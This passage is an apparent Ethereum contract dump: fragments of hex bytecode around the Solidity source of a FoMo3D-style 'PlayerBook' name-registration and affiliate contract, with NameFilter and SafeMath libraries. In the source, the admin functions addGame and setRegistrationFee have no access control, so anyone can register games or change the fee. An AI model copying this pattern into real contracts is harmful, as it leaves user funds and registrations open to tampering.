ffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116b457600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561170957600080fd5b8183039050929150505600a165627a7a72305820c6e77d609c8ab12309b83203090015dce359b6c6fa5e319e7e8bd019db7acab90029
[ 0 ]
0xf36E1c00Dd9c253DBD9e1914739F99F76b8b4A6E
pragma solidity ^0.4.24; /* * FOMO Fast-PlayerBook - v0.3.14 */ interface PlayerBookReceiverInterface { function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external; function receivePlayerNameList(uint256 _pID, bytes32 _name) external; } contract PlayerBook { using NameFilter for string; using SafeMath for uint256; address private admin = msg.sender; //============================================================================== // _| _ _|_ _ _ _ _|_ _ . // (_|(_| | (_| _\(/_ | |_||_) . //=============================|================================================ uint256 public registrationFee_ = 10 finney; // price to register a name mapping(uint256 => PlayerBookReceiverInterface) public games_; // mapping of our game interfaces for sending your account info to games mapping(address => bytes32) public gameNames_; // lookup a games name mapping(address => uint256) public gameIDs_; // lokup a games ID uint256 public gID_; // total number of games uint256 public pID_; // total number of players mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name mapping (uint256 => Player) public plyr_; // (pID => data) player data mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amoungst any name you own) mapping (uint256 => mapping (uint256 => bytes32)) public plyrNameList_; // (pID => nameNum => name) list of names a player owns struct Player { address addr; bytes32 name; uint256 laff; uint256 names; } //============================================================================== // _ _ _ __|_ _ __|_ _ _ . // (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy) //============================================================================== constructor() public { // premine the dev names (sorry not sorry) // No keys are purchased with this method, it's simply locking our addresses, // PID's and names for referral codes. plyr_[1].addr = 0x718B6aCa52548416e27AB38699cbc4C0Ed304b95; plyr_[1].name = "justo"; plyr_[1].names = 1; pIDxAddr_[0x718B6aCa52548416e27AB38699cbc4C0Ed304b95] = 1; pIDxName_["justo"] = 1; plyrNames_[1]["justo"] = true; plyrNameList_[1][1] = "justo"; plyr_[2].addr = 0x718B6aCa52548416e27AB38699cbc4C0Ed304b95; plyr_[2].name = "mantso"; plyr_[2].names = 1; pIDxAddr_[0x718B6aCa52548416e27AB38699cbc4C0Ed304b95] = 2; pIDxName_["mantso"] = 2; plyrNames_[2]["mantso"] = true; plyrNameList_[2][1] = "mantso"; plyr_[3].addr = 0x718B6aCa52548416e27AB38699cbc4C0Ed304b95; plyr_[3].name = "sumpunk"; plyr_[3].names = 1; pIDxAddr_[0x718B6aCa52548416e27AB38699cbc4C0Ed304b95] = 3; pIDxName_["sumpunk"] = 3; plyrNames_[3]["sumpunk"] = true; plyrNameList_[3][1] = "sumpunk"; plyr_[4].addr = 0x718B6aCa52548416e27AB38699cbc4C0Ed304b95; plyr_[4].name = "inventor"; plyr_[4].names = 1; pIDxAddr_[0x718B6aCa52548416e27AB38699cbc4C0Ed304b95] = 4; pIDxName_["inventor"] = 4; plyrNames_[4]["inventor"] = true; plyrNameList_[4][1] = "inventor"; pID_ = 4; } //============================================================================== // _ _ _ _|. |`. _ _ _ . // | | |(_)(_||~|~|(/_| _\ . (these are safety checks) //============================================================================== /** * @dev prevents contracts from interacting with fomo3d */ modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } modifier isRegisteredGame() { require(gameIDs_[msg.sender] != 0); _; } //============================================================================== // _ _ _ _|_ _ . // (/_\/(/_| | | _\ . //============================================================================== // fired whenever a player registers a name event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); //============================================================================== // _ _ _|__|_ _ _ _ . // (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan) //=====_|======================================================================= function checkIfNameValid(string _nameStr) public view returns(bool) { bytes32 _name = _nameStr.nameFilter(); if (pIDxName_[_name] == 0) return (true); else return (false); } //============================================================================== // _ |_ |. _ |` _ __|_. _ _ _ . // |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract) //====|========================================================================= /** * @dev registers a name. UI will always display the last name you registered. * but you will still own all previously registered names to use as affiliate * links. * - must pay a registration fee. * - name must be unique * - names will be converted to lowercase * - name cannot start or end with a space * - cannot have more than 1 space in a row * - cannot be only numbers * - cannot start with 0x * - name must be at least 1 char * - max length of 32 characters long * - allowed characters: a-z, 0-9, and space * -functionhash- 0x921dec21 (using ID for affiliate) * -functionhash- 0x3ddd4698 (using address for affiliate) * -functionhash- 0x685ffd83 (using name for affiliate) * @param _nameString players desired name * @param _affCode affiliate ID, address, or name of who refered you * @param _all set to true if you want this to push your info to all games * (this might cost a lot of gas) */ function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { // make sure name fees paid require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // filter name + condition checks bytes32 _name = NameFilter.nameFilter(_nameString); // set up address address _addr = msg.sender; // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given, no new affiliate code was given, or the // player tried to use their own pID as an affiliate code, lolz if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID) { // update last affiliate plyr_[_pID].laff = _affCode; } else if (_affCode == _pID) { _affCode = 0; } // register name registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { // make sure name fees paid require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // filter name + condition checks bytes32 _name = NameFilter.nameFilter(_nameString); // set up address address _addr = msg.sender; // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != address(0) && _affCode != _addr) { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { // make sure name fees paid require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // filter name + condition checks bytes32 _name = NameFilter.nameFilter(_nameString); // set up address address _addr = msg.sender; // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != "" && _affCode != _name) { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); } /** * @dev players, if you registered a profile, before a game was released, or * set the all bool to false when you registered, use this function to push * your profile to a single game. also, if you've updated your name, you * can use this to push your name to games of your choosing. * -functionhash- 0x81c5b206 * @param _gameID game id */ function addMeToGame(uint256 _gameID) isHuman() public { require(_gameID <= gID_, "silly player, that game doesn't exist yet"); address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, "hey there buddy, you dont even have an account"); uint256 _totalNames = plyr_[_pID].names; // add players profile and most recent name games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff); // add list of all names if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } /** * @dev players, use this to push your player profile to all registered games. * -functionhash- 0x0c6940ea */ function addMeToAllGames() isHuman() public { address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, "hey there buddy, you dont even have an account"); uint256 _laff = plyr_[_pID].laff; uint256 _totalNames = plyr_[_pID].names; bytes32 _name = plyr_[_pID].name; for (uint256 i = 1; i <= gID_; i++) { games_[i].receivePlayerInfo(_pID, _addr, _name, _laff); if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } } /** * @dev players use this to change back to one of your old names. tip, you'll * still need to push that info to existing games. * -functionhash- 0xb9291296 * @param _nameString the name you want to use */ function useMyOldName(string _nameString) isHuman() public { // filter name, and get pID bytes32 _name = _nameString.nameFilter(); uint256 _pID = pIDxAddr_[msg.sender]; // make sure they own the name require(plyrNames_[_pID][_name] == true, "umm... thats not a name you own"); // update their current name plyr_[_pID].name = _name; } //============================================================================== // _ _ _ _ | _ _ . _ . // (_(_)| (/_ |(_)(_||(_ . //=====================_|======================================================= function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all) private { // if names already has been used, require that current msg sender owns the name if (pIDxName_[_name] != 0) require(plyrNames_[_pID][_name] == true, "sorry that names already taken"); // add name to player profile, registry, and name book plyr_[_pID].name = _name; pIDxName_[_name] = _pID; if (plyrNames_[_pID][_name] == false) { plyrNames_[_pID][_name] = true; plyr_[_pID].names++; plyrNameList_[_pID][plyr_[_pID].names] = _name; } // registration fee goes directly to community rewards admin.transfer(address(this).balance); // push player info to games if (_all == true) for (uint256 i = 1; i <= gID_; i++) games_[i].receivePlayerInfo(_pID, _addr, _name, _affID); // fire event emit onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now); } //============================================================================== // _|_ _ _ | _ . // | (_)(_)|_\ . //============================================================================== function determinePID(address _addr) private returns (bool) { if (pIDxAddr_[_addr] == 0) { pID_++; pIDxAddr_[_addr] = pID_; plyr_[pID_].addr = _addr; // set the new player bool to true return (true); } else { return (false); } } //============================================================================== // _ _|_ _ _ _ _ | _ _ || _ . // (/_>< | (/_| | |(_|| (_(_|||_\ . //============================================================================== function getPlayerID(address _addr) isRegisteredGame() external returns (uint256) { determinePID(_addr); return (pIDxAddr_[_addr]); } function getPlayerName(uint256 _pID) external view returns (bytes32) { return (plyr_[_pID].name); } function getPlayerLAff(uint256 _pID) external view returns (uint256) { return (plyr_[_pID].laff); } function getPlayerAddr(uint256 _pID) external view returns (address) { return (plyr_[_pID].addr); } function getNameFee() external view returns (uint256) { return(registrationFee_); } function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { // make sure name fees paid require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given, no new affiliate code was given, or the // player tried to use their own pID as an affiliate code, lolz uint256 _affID = _affCode; if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID) { // update last affiliate plyr_[_pID].laff = _affID; } else if (_affID == _pID) { _affID = 0; } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { // make sure name fees paid require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != address(0) && _affCode != _addr) { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { // make sure name fees paid require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != "" && _affCode != _name) { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } //============================================================================== // _ _ _|_ _ . // _\(/_ | |_||_) . //=============|================================================================ function addGame(address _gameAddress, string _gameNameStr) public { require(gameIDs_[_gameAddress] == 0, "derp, that games already been registered"); gID_++; bytes32 _name = _gameNameStr.nameFilter(); gameIDs_[_gameAddress] = gID_; gameNames_[_gameAddress] = _name; games_[gID_] = PlayerBookReceiverInterface(_gameAddress); games_[gID_].receivePlayerInfo(1, plyr_[1].addr, plyr_[1].name, 0); games_[gID_].receivePlayerInfo(2, plyr_[2].addr, plyr_[2].name, 0); games_[gID_].receivePlayerInfo(3, plyr_[3].addr, plyr_[3].name, 0); games_[gID_].receivePlayerInfo(4, plyr_[4].addr, plyr_[4].name, 0); } function setRegistrationFee(uint256 _fee) public { registrationFee_ = _fee; } } /** * @title -Name Filter- v0.1.9 * ┌┬┐┌─┐┌─┐┌┬┐ ╦╦ ╦╔═╗╔╦╗ ┌─┐┬─┐┌─┐┌─┐┌─┐┌┐┌┌┬┐┌─┐ * │ ├┤ ├─┤│││ ║║ ║╚═╗ ║ ├─┘├┬┘├┤ └─┐├┤ │││ │ └─┐ * ┴ └─┘┴ ┴┴ ┴ ╚╝╚═╝╚═╝ ╩ ┴ ┴└─└─┘└─┘└─┘┘└┘ ┴ └─┘ * _____ _____ * (, / /) /) /) (, / /) /) * ┌─┐ / _ (/_ // // / _ // _ __ _(/ * ├─┤ ___/___(/_/(__(_/_(/_(/_ ___/__/_)_(/_(_(_/ (_(_(_ * ┴ ┴ / / .-/ _____ (__ / * (__ / (_/ (, / /)™ * / __ __ __ __ _ __ __ _ _/_ _ _(/ * ┌─┐┬─┐┌─┐┌┬┐┬ ┬┌─┐┌┬┐ /__/ (_(__(_)/ (_/_)_(_)/ (_(_(_(__(/_(_(_ * ├─┘├┬┘│ │ │││ ││ │ (__ / .-/ © Jekyll Island Inc. 2018 * ┴ ┴└─└─┘─┴┘└─┘└─┘ ┴ (_/ * _ __ _ ____ ____ _ _ _____ ____ ___ *=============| |\ | / /\ | |\/| | |_ =====| |_ | | | | | | | |_ | |_)==============* *=============|_| \| /_/--\ |_| | |_|__=====|_| |_| |_|__ |_| |_|__ |_| \==============* * * ╔═╗┌─┐┌┐┌┌┬┐┬─┐┌─┐┌─┐┌┬┐ ╔═╗┌─┐┌┬┐┌─┐ ┌──────────┐ * ║ │ ││││ │ ├┬┘├─┤│ │ ║ │ │ ││├┤ │ Inventor │ * ╚═╝└─┘┘└┘ ┴ ┴└─┴ ┴└─┘ ┴ ╚═╝└─┘─┴┘└─┘ └──────────┘ */ library NameFilter { /** * @dev filters name strings * -converts uppercase to lower case. * -makes sure it does not start/end with a space * -makes sure it does not contain multiple spaces in a row * -cannot be only numbers * -cannot start with 0x * -restricts characters to A-Z, a-z, 0-9, and space. * @return reprocessed string in bytes32 format */ function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; //sorry limited to 32 characters require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); // make sure it doesnt start with or end with space require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); // make sure first two characters are not 0x if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } // create a bool to track if we have a non number character bool _hasNonNumber; // convert & check for (uint256 i = 0; i < _length; i++) { // if its uppercase A-Z if (_temp[i] > 0x40 && _temp[i] < 0x5b) { // convert to lower case a-z _temp[i] = byte(uint(_temp[i]) + 32); // we have a non number if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( // require character is a space _temp[i] == 0x20 || // OR lowercase a-z (_temp[i] > 0x60 && _temp[i] < 0x7b) || // or 0-9 (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); // make sure theres not 2x spaces in a row if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); // see if we have a character other than a number if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } /** * @title SafeMath v0.1.9 * @dev Math operations with safety checks that throw on error * change notes: original SafeMath library from OpenZeppelin modified by Inventor * - added sqrt * - added sq * - added pwr * - changed asserts to requires with error log outputs * - removed div, its useless */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } /** * @dev gives square root of given x. */ function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } /** * @dev gives square. multiplies x by x */ function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } /** * @dev x to the power of y */ function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
0x6080604052600436106101695763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630c6940ea811461016e57806310f01eba14610185578063180603eb146101b85780632614195f146101cd5780632660316e146101e257806327249e61146102115780632e19ebdc146102325780633ddd46981461024a5780633fda926e146102a65780634b2271761461030d5780634d0d35ff14610322578063685ffd83146103565780636c52660d146103a9578063745ea0c11461040257806381c5b2061461043c57806382e37b2c14610454578063921dec211461046c578063a448ed4b146104bf578063aa4d490b146104da578063b9291296146104fd578063b9eca0c814610556578063c0942dfd1461056b578063c320c7271461058a578063d5241279146105a2578063dbbcaa97146105ba578063de7874f3146105db578063e3c08adf14610623578063e56556a91461063b575b600080fd5b34801561017a57600080fd5b5061018361065c565b005b34801561019157600080fd5b506101a6600160a060020a03600435166108ca565b60408051918252519081900360200190f35b3480156101c457600080fd5b506101a66108dc565b3480156101d957600080fd5b506101a66108e2565b3480156101ee57600080fd5b506101fd6004356024356108e8565b604080519115158252519081900360200190f35b34801561021d57600080fd5b506101a6600160a060020a0360043516610908565b34801561023e57600080fd5b506101a660043561091a565b6040805160206004803580820135601f810184900484028501840190955284845261018394369492936024939284019190819084018382808284375094975050600160a060020a0385351695505050505060200135151561092c565b3480156102b257600080fd5b5060408051602060046024803582810135601f8101859004850286018501909652858552610183958335600160a060020a0316953695604494919390910191908190840183828082843750949750610a969650505050505050565b34801561031957600080fd5b506101a6610ed9565b34801561032e57600080fd5b5061033a600435610edf565b60408051600160a060020a039092168252519081900360200190f35b6040805160206004803580820135601f8101849004840285018401909552848452610183943694929360249392840191908190840183828082843750949750508435955050505050602001351515610efd565b3480156103b557600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526101fd94369492936024939284019190819084018382808284375094975061103b9650505050505050565b610421600160a060020a03600435166024356044356064351515611073565b60408051921515835260208301919091528051918290030190f35b34801561044857600080fd5b50610183600435611187565b34801561046057600080fd5b506101a6600435611454565b6040805160206004803580820135601f8101849004840285018401909552848452610183943694929360249392840191908190840183828082843750949750508435955050505050602001351515611469565b3480156104cb57600080fd5b506101a66004356024356115ab565b610421600160a060020a03600435811690602435906044351660643515156115c8565b34801561050957600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526101839436949293602493928401919081908401838280828437509497506116eb9650505050505050565b34801561056257600080fd5b506101a66117dd565b610421600160a060020a036004351660243560443560643515156117e3565b34801561059657600080fd5b506101836004356118ef565b3480156105ae57600080fd5b5061033a6004356118f4565b3480156105c657600080fd5b506101a6600160a060020a036004351661190f565b3480156105e757600080fd5b506105f3600435611921565b60408051600160a060020a0390951685526020850193909352838301919091526060830152519081900360800190f35b34801561062f57600080fd5b506101a6600435611952565b34801561064757600080fd5b506101a6600160a060020a0360043516611967565b600080808080808033803b80156106ab576040805160e560020a62461bcd02815260206004820152601160248201526000805160206124ff833981519152604482015290519081900360640190fd5b33600081815260076020526040902054909950975087151561073d576040805160e560020a62461bcd02815260206004820152602e60248201527f6865792074686572652062756464792c20796f7520646f6e74206576656e206860448201527f61766520616e206163636f756e74000000000000000000000000000000000000606482015290519081900360840190fd5b6000888152600960205260409020600281015460038201546001928301549199509750955093505b60055484116108bf5760008481526002602052604080822054815160e060020a6349cc635d028152600481018c9052600160a060020a038d81166024830152604482018a9052606482018c9052925192909116926349cc635d9260848084019382900301818387803b1580156107da57600080fd5b505af11580156107ee573d6000803e3d6000fd5b5050505060018611156108b457600192505b8583116108b4576000848152600260209081526040808320548b8452600b83528184208785529092528083205481517f8f7140ea000000000000000000000000000000000000000000000000000000008152600481018d905260248101919091529051600160a060020a0390921692638f7140ea9260448084019382900301818387803b15801561089057600080fd5b505af11580156108a4573d6000803e3d6000fd5b5050600190940193506108009050565b600190930192610765565b505050505050505050565b60076020526000908152604090205481565b60015481565b60015490565b600a60209081526000928352604080842090915290825290205460ff1681565b60036020526000908152604090205481565b60086020526000908152604090205481565b60008080808033803b8015610979576040805160e560020a62461bcd02815260206004820152601160248201526000805160206124ff833981519152604482015290519081900360640190fd5b6001543410156109d5576040805160e560020a62461bcd02815260206004820152602660248201526000805160206124bf83398151915260448201526000805160206124df833981519152606482015290519081900360840190fd5b6109de8a6119a8565b96503395506109ec866121bb565b600160a060020a03808816600090815260076020526040902054919650909450891615801590610a2e575085600160a060020a031689600160a060020a031614155b15610a7c57600160a060020a0389166000908152600760209081526040808320548784526009909252909120600201549093508314610a7c5760008481526009602052604090206002018390555b610a8a8487858a898d61223d565b50505050505050505050565b600160a060020a03821660009081526004602052604081205415610b2a576040805160e560020a62461bcd02815260206004820152602860248201527f646572702c20746861742067616d657320616c7265616479206265656e20726560448201527f6769737465726564000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600580546001019055610b3c826119a8565b60058054600160a060020a03808716600081815260046020818152604080842096909655600381528583208890558654835260028152858320805473ffffffffffffffffffffffffffffffffffffffff19169094179093559454815283812054600180835260099093527f92e85d02570a8092d09a6e3a57665bc3815a2699a4074001bf1ccabf660f5a36547f92e85d02570a8092d09a6e3a57665bc3815a2699a4074001bf1ccabf660f5a3754865160e060020a6349cc635d0281529788019490945284166024870152604486019290925260648501819052925194955016926349cc635d92608480820193929182900301818387803b158015610c4057600080fd5b505af1158015610c54573d6000803e3d6000fd5b505060055460009081526002602081815260408084205483855260099092527f6cde3cea4b3a3fb2488b2808bae7556f4a405e50f65e1794383bc026131b13c3547f6cde3cea4b3a3fb2488b2808bae7556f4a405e50f65e1794383bc026131b13c454825160e060020a6349cc635d0281526004810195909552600160a060020a0391821660248601526044850152606484018590529051911694506349cc635d93506084808301939282900301818387803b158015610d1357600080fd5b505af1158015610d27573d6000803e3d6000fd5b5050600554600090815260026020908152604080832054600380855260099093527fc575c31fea594a6eb97c8e9d3f9caee4c16218c6ef37e923234c0fe9014a61e7547fc575c31fea594a6eb97c8e9d3f9caee4c16218c6ef37e923234c0fe9014a61e854835160e060020a6349cc635d0281526004810195909552600160a060020a0391821660248601526044850152606484018590529151911694506349cc635d93506084808301939282900301818387803b158015610de857600080fd5b505af1158015610dfc573d6000803e3d6000fd5b5050600554600090815260026020908152604080832054600480855260099093527f8dc18c4ccfd75f5c815b63770fa542fd953e8fef7e0e44bbdd4913470ce7e9cb547f8dc18c4ccfd75f5c815b63770fa542fd953e8fef7e0e44bbdd4913470ce7e9cc54835160e060020a6349cc635d02815280860195909552600160a060020a0391821660248601526044850152606484018590529151911694506349cc635d93506084808301939282900301818387803b158015610ebc57600080fd5b505af1158015610ed0573d6000803e3d6000fd5b50505050505050565b60065481565b600081815260096020526040902054600160a060020a03165b919050565b60008080808033803b8015610f4a576040805160e560020a62461bcd02815260206004820152601160248201526000805160206124ff833981519152604482015290519081900360640190fd5b600154341015610fa6576040805160e560020a62461bcd02815260206004820152602660248201526000805160206124bf83398151915260448201526000805160206124df833981519152606482015290519081900360840190fd5b610faf8a6119a8565b9650339550610fbd866121bb565b600160a060020a03871660009081526007602052604090205490955093508815801590610fea5750888714155b15610a7c576000898152600860209081526040808320548784526009909252909120600201549093508314610a7c576000848152600960205260409020600201839055610a8a8487858a898d61223d565b600080611047836119a8565b6000818152600860205260409020549091501515611068576001915061106d565b600091505b50919050565b336000908152600460205260408120548190819081908190151561109657600080fd5b6001543410156110f2576040805160e560020a62461bcd02815260206004820152602660248201526000805160206124bf83398151915260448201526000805160206124df833981519152606482015290519081900360840190fd5b6110fb896121bb565b600160a060020a038a16600090815260076020526040902054909350915086158015906111285750868814155b1561116a5750600086815260086020908152604080832054848452600990925290912060020154811461116a5760008281526009602052604090206002018190555b611178828a838b878b61223d565b91989197509095505050505050565b600080808033803b80156111d3576040805160e560020a62461bcd02815260206004820152601160248201526000805160206124ff833981519152604482015290519081900360640190fd5b600554871115611253576040805160e560020a62461bcd02815260206004820152602960248201527f73696c6c7920706c617965722c20746861742067616d6520646f65736e27742060448201527f6578697374207965740000000000000000000000000000000000000000000000606482015290519081900360840190fd5b3360008181526007602052604090205490965094508415156112e5576040805160e560020a62461bcd02815260206004820152602e60248201527f6865792074686572652062756464792c20796f7520646f6e74206576656e206860448201527f61766520616e206163636f756e74000000000000000000000000000000000000606482015290519081900360840190fd5b600085815260096020818152604080842060038101548c86526002808552838720548c88529590945260018201549390910154825160e060020a6349cc635d028152600481018c9052600160a060020a038d8116602483015260448201959095526064810191909152915190985091909216926349cc635d926084808201939182900301818387803b15801561137a57600080fd5b505af115801561138e573d6000803e3d6000fd5b505050506001841115610ed057600192505b838311610ed057600087815260026020908152604080832054888452600b83528184208785529092528083205481517f8f7140ea000000000000000000000000000000000000000000000000000000008152600481018a905260248101919091529051600160a060020a0390921692638f7140ea9260448084019382900301818387803b15801561143057600080fd5b505af1158015611444573d6000803e3d6000fd5b5050600190940193506113a09050565b60009081526009602052604090206001015490565b600080808033803b80156114b5576040805160e560020a62461bcd02815260206004820152601160248201526000805160206124ff833981519152604482015290519081900360640190fd5b600154341015611511576040805160e560020a62461bcd02815260206004820152602660248201526000805160206124bf83398151915260448201526000805160206124df833981519152606482015290519081900360840190fd5b61151a896119a8565b9550339450611528856121bb565b600160a060020a0386166000908152600760205260409020549094509250871580159061156657506000838152600960205260409020600201548814155b80156115725750828814155b1561159057600083815260096020526040902060020188905561159d565b8288141561159d57600097505b6108bf83868a89888c61223d565b600b60209081526000928352604080842090915290825290205481565b33600090815260046020526040812054819081908190819015156115eb57600080fd5b600154341015611647576040805160e560020a62461bcd02815260206004820152602660248201526000805160206124bf83398151915260448201526000805160206124df833981519152606482015290519081900360840190fd5b611650896121bb565b600160a060020a03808b16600090815260076020526040902054919450909250871615801590611692575088600160a060020a031687600160a060020a031614155b1561116a5750600160a060020a038616600090815260076020908152604080832054848452600990925290912060020154811461116a576000828152600960205260409020600201819055611178828a838b878b61223d565b60008033803b8015611735576040805160e560020a62461bcd02815260206004820152601160248201526000805160206124ff833981519152604482015290519081900360640190fd5b61173e856119a8565b33600090815260076020908152604080832054808452600a835281842085855290925290912054919550935060ff1615156001146117c6576040805160e560020a62461bcd02815260206004820152601f60248201527f756d6d2e2e2e207468617473206e6f742061206e616d6520796f75206f776e00604482015290519081900360640190fd5b505060009081526009602052604090206001015550565b60055481565b336000908152600460205260408120548190819081908190151561180657600080fd5b600154341015611862576040805160e560020a62461bcd02815260206004820152602660248201526000805160206124bf83398151915260448201526000805160206124df833981519152606482015290519081900360840190fd5b61186b896121bb565b600160a060020a038a16600090815260076020526040902054909350915086905080158015906118ac57506000828152600960205260409020600201548114155b80156118b85750818114155b156118d657600082815260096020526040902060020181905561116a565b8181141561116a57506000611178828a838b878b61223d565b600155565b600260205260009081526040902054600160a060020a031681565b60046020526000908152604090205481565b6009602052600090815260409020805460018201546002830154600390930154600160a060020a0390921692909184565b60009081526009602052604090206002015490565b33600090815260046020526040812054151561198257600080fd5b61198b826121bb565b5050600160a060020a031660009081526007602052604090205490565b80516000908290828080602084118015906119c35750600084115b1515611a3f576040805160e560020a62461bcd02815260206004820152602a60248201527f737472696e67206d757374206265206265747765656e203120616e642033322060448201527f6368617261637465727300000000000000000000000000000000000000000000606482015290519081900360840190fd5b846000815181101515611a4e57fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a0214158015611a